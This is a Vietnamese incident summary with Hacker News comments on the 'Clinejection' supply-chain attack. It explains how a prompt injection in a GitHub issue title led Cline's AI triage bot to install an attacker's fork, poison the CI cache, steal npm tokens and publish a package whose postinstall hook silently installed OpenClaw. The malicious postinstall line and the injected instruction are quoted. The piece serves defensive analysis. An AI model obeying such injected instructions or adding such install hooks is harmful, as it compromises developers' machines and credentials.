- Prompt injection được chèn trong tiêu đề đã tiêm lệnh thông qua bot phân loại issue dùng AI của Cline
- Đánh cắp token npm để phát tán Cline độc hại, đồng thời cài đặt trái phép AI agent OpenClaw
- Kẻ tấn công đã tạo ra chuỗi 5 bước gồm prompt injection → thực thi mã tùy ý qua bot AI → đầu độc cache → đánh cắp thông tin xác thực → phát tán gói độc hại
- Các biện pháp kiểm soát bảo mật hiện có (code review, npm audit, provenance attestations) đã không phát hiện được cuộc tấn công này
- Nhà nghiên cứu bảo mật đã phát hiện và báo cáo lỗ hổng vào cuối tháng 12 năm 2025, nhưng không nhận được phản hồi trong 5 tuần, và ngay cả sau khi công khai, cuộc tấn công vẫn diễn ra do sai sót khi thay thế thông tin xác thực
- Một mô hình đe dọa chuỗi cung ứng mới đã xuất hiện, trong đó AI agent cài đặt AI agent khác, nhấn mạnh rủi ro của tự động hóa AI trong môi trường CI/CD
Tổng quan cuộc tấn công
- Vào ngày 17 tháng 2 năm 2026,
cline@2.3.0 được đăng lên npm; đây là cùng một binary như phiên bản trước nhưng có thêm một dòng trong package.json: "postinstall": "npm install -g openclaw@latest"
- Vì vậy, OpenClaw đã tự động được cài trên hệ thống của khoảng 4.000 lập trình viên đã cài đặt hoặc cập nhật Cline trong vòng 8 giờ
- OpenClaw là một AI agent riêng biệt có quyền truy cập toàn bộ hệ thống, được cài đặt toàn cục mà không có sự đồng ý của người dùng
Chuỗi tấn công (Clinejection)
- Bước 1: Prompt injection
- Cline sử dụng quy trình workflow phân loại issue bằng AI dựa trên
claude-code-action của Anthropic
- Với cấu hình
allowed_non_write_users: "*", bất kỳ ai cũng có thể mở issue để kích hoạt bot
- Ngày 28 tháng 1, kẻ tấn công tạo Issue #8904 với tiêu đề trông giống một báo cáo hiệu năng nhưng có ẩn lệnh “cài một package cụ thể”
- Bước 2: Bot AI thực thi lệnh
- Claude đã hiểu lệnh này như chỉ thị hợp lệ và chạy
npm install từ fork của kẻ tấn công (glthub-actions/cline)
package.json trong fork đó chứa script preinstall thực thi một shell script từ xa
- Bước 3: Đầu độc cache (Cache Poisoning)
- Script đã triển khai Cacheract để đầu độc cache của GitHub Actions
- Nó bơm vào hơn 10GB dữ liệu để đẩy cache hợp lệ ra ngoài và giả mạo cache key mà workflow phát hành nightly của Cline sử dụng
- Bước 4: Đánh cắp thông tin xác thực
- Khi workflow phát hành khôi phục
node_modules từ cache đã bị đầu độc, các giá trị NPM_RELEASE_TOKEN, VSCE_PAT, OVSX_PAT đã bị đánh cắp
- Bước 5: Phát tán gói độc hại
- Kẻ tấn công đã dùng token npm bị đánh cắp để phát hành
cline@2.3.0
- Hệ thống giám sát của StepSecurity phát hiện dấu hiệu bất thường sau 14 phút, và gói bị gỡ bỏ sau 8 giờ
Thất bại trong ứng phó và các bước tiếp theo
- Nhà nghiên cứu bảo mật Adnan Khan phát hiện lỗ hổng vào tháng 12 năm 2025 và báo cáo qua GitHub Security Advisory vào ngày 1 tháng 1 năm 2026, nhưng không nhận được phản hồi trong 5 tuần
- Khi Khan công khai tiết lộ vào ngày 9 tháng 2, Cline đã vá lỗi trong vòng 30 phút bằng cách gỡ bỏ workflow triage AI
- Ngày hôm sau, họ bắt đầu thay thế thông tin xác thực nhưng xóa nhầm token, khiến token bị lộ vẫn còn hoạt động
- Họ phát hiện lỗi vào ngày 11 tháng 2 và thay lại lần nữa, nhưng khi đó kẻ tấn công đã đánh cắp thông tin xác thực
- Token npm vẫn còn hiệu lực đủ lâu để gói độc hại có thể được phát hành sau 6 ngày
- Khan không phải là kẻ tấn công — một tác nhân riêng biệt chưa rõ danh tính đã phát hiện PoC trong kho thử nghiệm của Khan và trực tiếp vũ khí hóa nó nhằm vào Cline
Mô hình mới: AI cài đặt AI
- Vụ việc này là trường hợp một công cụ AI cài đặt một AI agent khác, tạo ra vấn đề niềm tin đệ quy trong chuỗi cung ứng
- Lập trình viên tin tưởng Tool A (Cline) → Tool A bị xâm phạm và cài Tool B (OpenClaw)
→ Tool B có các khả năng riêng độc lập với Tool A (thực thi shell, truy cập thông tin xác thực, cài daemon tồn tại lâu dài), và không hiện diện trong quyết định tin cậy ban đầu của lập trình viên
- OpenClaw có thể đọc thông tin xác thực từ
~/.openclaw/, thực thi lệnh shell qua Gateway API, và tự cài như một daemon hệ thống tồn tại sau khi khởi động lại
- Endor Labs đánh giá đây là payload ở mức proof-of-concept, nhưng điều quan trọng là chính cơ chế này; payload tiếp theo có thể sẽ không còn là PoC
- Đây là phiên bản chuỗi cung ứng của vấn đề ‘Confused Deputy’, trong đó quyền hạn do lập trình viên cấp đã bị ủy quyền sang một agent thứ ba
- Lập trình viên cấp quyền đại diện cho Cline, và Cline (sau khi bị xâm phạm) lại ủy quyền đó cho một agent hoàn toàn khác mà lập trình viên chưa từng đánh giá, cấu hình hay đồng ý
Vì sao các kiểm soát bảo mật hiện có thất bại
- npm audit: package được cài bởi script
postinstall là một package hợp lệ và không độc hại (OpenClaw), nên không có malware nào để phát hiện
- Code review: binary CLI giống hệt từng byte so với phiên bản trước, chỉ
package.json thay đổi một dòng, nên các kiểm tra diff tự động tập trung vào thay đổi binary không thể phát hiện
- Provenance attestation: khi đó Cline chưa dùng npm provenance dựa trên OIDC, nên token bị xâm phạm vẫn có thể phát hành mà không có metadata provenance
- StepSecurity đã gắn cờ đây là hành vi bất thường (anomalous)
- Prompt xin quyền: việc cài đặt xảy ra trong hook
postinstall của npm install, và không có công cụ AI coding nào yêu cầu xác nhận người dùng trước khi chạy lifecycle script của dependency, nên thao tác này hoàn toàn vô hình
- Cuộc tấn công đã khai thác khoảng cách giữa thứ mà lập trình viên nghĩ mình đang cài (một phiên bản Cline cụ thể) và thứ thực sự được chạy (các lifecycle script tùy ý của package và các cài đặt bắc cầu)
Ứng phó sau sự cố của Cline
- Các biện pháp cải thiện được công bố trong Post Mortem
- Loại bỏ việc dùng cache GitHub Actions trong các workflow xử lý thông tin xác thực
- Áp dụng OIDC provenance attestation cho phát hành npm, loại bỏ token dài hạn
- Thêm yêu cầu xác minh đối với việc thay thế thông tin xác thực
- Bắt đầu xây dựng quy trình công bố lỗ hổng chính thức có SLA
- Thuê kiểm toán bảo mật bên thứ ba cho hạ tầng CI/CD
- Chỉ riêng việc chuyển sang OIDC cũng đã có thể ngăn chặn cuộc tấn công này
- Token bị đánh cắp sẽ không thể phát hành package trong mô hình provenance yêu cầu bằng chứng mật mã từ một workflow GitHub Actions cụ thể
Vấn đề mang tính cấu trúc và bài học rút ra
- Clinejection vừa là một cuộc tấn công chuỗi cung ứng vừa là vấn đề an ninh tác nhân AI
- Điểm xâm nhập của cuộc tấn công là đầu vào ngôn ngữ tự nhiên trong tiêu đề GitHub issue, và bot AI đã thực thi nó như một lệnh
- Cấu trúc này giống với MCP tool poisoning hoặc tấn công vào agent skill registry
- Đầu vào không đáng tin cậy đến được agent → agent hành động → không có chủ thể nào đánh giá tác vụ kết quả trước khi thực thi
- Trong trường hợp này, agent không phải là trợ lý code cục bộ trên máy của lập trình viên mà là một workflow CI tự động chạy trên mọi issue mới, có quyền truy cập shell và thông tin xác thực được cache
- Bán kính ảnh hưởng không còn là máy của một lập trình viên mà là toàn bộ pipeline phát hành của dự án
- Mọi đội ngũ triển khai AI agent trong CI/CD (triage issue, code review, kiểm thử tự động, v.v.) đều đối mặt với mức phơi nhiễm tương tự
- Cần nhận thức rủi ro từ sự kết hợp giữa đầu vào không đáng tin cậy và quyền truy cập vào bí mật
- Agent có thể xử lý đầu vào không đáng tin cậy (issue, PR, comment) trong khi vẫn có quyền truy cập secret (token, key, thông tin xác thực)
- Chặn bắt ở cấp syscall có thể phát hiện loại tấn công này ở lớp vận hành:
- Khi bot triage AI cố chạy
npm install từ một kho không mong đợi, hệ thống có thể đánh giá theo policy bất kể nội dung tiêu đề issue; và khi lifecycle script cố rò rỉ thông tin xác thực ra máy chủ bên ngoài, có thể chặn egress theo policy
3 bình luận
Bị đập đến mức này rồi thì ít nhất cũng phải hình thành nhận thức rằng khi dùng LLM hay agent cần chú ý bảo mật hơn mới phải chứ..
Có lẽ sẽ còn nổ tung vì prompt injection một thời gian nữa đây
Dạo này những vụ tương tự cứ liên tục xảy ra trong các package npm nhỉ
Ý kiến trên Hacker News
Quy trình phân loại issue của Cline chạy trên sự kiện
issuesvà được đặtallowed_non_write_users: "*"Tức là bất kỳ ai chỉ cần mở issue cũng có thể kích hoạt GitHub Actions, và nhờ tùy chọn
--allowedTools "Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch", Claude đã có quyền thực thi mã tùy ý trong workflow của nhánh mặc địnhViệc chạy AI agent trong khi vẫn để nguyên cấu hình như vậy trông đúng là điên rồ
Thậm chí còn có nỗ lực để nó tự động đọc các lượt nhắc đến công ty trên mạng xã hội và tạo bug report
Tôi đang hỗ trợ xây dựng chính sách AI trong công ty, và khi thử để Claude xử lý một email mang tính đe dọa, nó đã tìm cách xuất nguyên toàn bộ thông tin ticket bảo mật
May là chức năng gửi email đã bị vô hiệu hóa nên không có gì thực sự được gửi đi
Kiểu tự động hóa AI không phòng bị này gợi nhớ đến thời kỳ hỗn loạn của SQL injection. Có lẽ phải rất nhiều người bị dính đòn thì mới xuất hiện các biện pháp an toàn đúng nghĩa
Bài viết đáng ra nên nhấn mạnh hơn rằng trigger
issuescủa GitHub nguy hiểm chẳng kém gìpull_request_targetvốn đã mang tiếng xấuNgay từ lúc đầu vào của người dùng đi vào workflow, nó phải được coi là mã tấn công tiềm tàng
Trước đây CI là Travis còn tự động hóa là Zapier, tách biệt nhau; GitHub Actions thì gom mọi thứ lại một chỗ và có quá nhiều quyền
Zapier không chạy binary tùy ý nên rủi ro bị xâm phạm thấp hơn nhiều
Hiện vẫn chưa có phương pháp xác thực đầu vào nào an toàn tuyệt đối
Đã có trường hợp LLM thực thi lệnh được mã hóa base64 (liên kết ví dụ)
Cuối cùng thì mọi đầu vào đều phải được xem là dữ liệu đối kháng. LLM thậm chí còn có thể tự “ảo giác” ra hành động của chính nó, nên tuyệt đối không được cho truy cập vào hệ thống production
Về mặc định, không workflow nào nên chứa credential, và chúng chỉ nên bị giới hạn cho các sự kiện từ người dùng đặc quyền như maintainer
Nhưng Zapier được xem là dịch vụ hộp đen, nên trách nhiệm bảo mật hoàn toàn thuộc về phía họ
Trong khi đó GHA là mô hình trách nhiệm chung giữa GitHub và người dùng nên phức tạp hơn
Dù vậy, GHA linh hoạt hơn Zapier rất nhiều, và phần lớn người dùng rồi cũng sẽ chạy mã tùy ý qua Lambda hoặc webhook
Tiêu đề issue gây ra sự cố là như sau
Nhưng
github:cline/cline#b181e0thực tế lại trỏ tới một fork repository có chứa postinstall script độc hạiLiên kết commit vấn đề
Cho đến ngay lúc nãy tôi vẫn nghĩ
github:cline/clinenghĩa là cùng một repositoryTôi tự hỏi npm có thể giảm nhẹ chuyện này phần nào thông qua tích hợp GitHub hay không
Tiêu đề issue được chèn nguyên văn vào prompt của Claude dưới dạng
${{ github.event.issue.title }}, và vấn đề là nó đã được xử lý mà không có làm sạch đầu vào (sanitization)Nhưng vì Claude có xu hướng “nhiệt tình hiểu” các yêu cầu trong prompt, nên có lẽ chỉ làm sạch đơn thuần cũng không hiệu quả
Mọi lệnh npm đều nên được chạy trong môi trường sandbox
Tôi thấy vector tấn công kiểu này ngày càng nhiều nên đã tự tạo amazing-sandbox
Tất cả các nhà phát triển đã cài đặt hoặc cập nhật Cline trong vòng 8 giờ đều đã cài thêm một AI agent riêng tên là OpenClaw trên toàn bộ hệ thống
Tuy nhiên, những người dùng
ignore-scripts=truetrong cấu hình npm thì không bị ảnh hưởngBài postmortem của Cline tổng hợp khá tốt các thông tin liên quan
Tuy vậy, việc xem OpenClaw là “payload vô hại” hay là một con ngựa thành Troy còn tùy góc nhìn
Chắc sẽ không ai hoàn toàn tin tưởng AI hay các công cụ AI
Những vụ việc như thế này một lần nữa nhắc lại rất mạnh mẽ điều đó
Tìm kiếm thử thì tôi thấy cũng có bài báo gọi OpenClaw là “AI agent lan truyền”
Trước đây, chỉ cần cài kiểu phần mềm như thế này thôi là người ta đã xem như hệ thống bị xâm phạm rồi
Cốt lõi vấn đề là mã có quyền tùy ý đang thực thi đầu vào không đáng tin cậy, nhưng trong trường hợp này nó lại được gói ghém như giá trị cốt lõi của sản phẩm
Thật đáng ngạc nhiên là các công ty AI đến giờ vẫn chưa hiểu sự tương đồng giữa SQL injection và prompt injection
Prompt cũng cần cùng mức bảo vệ đó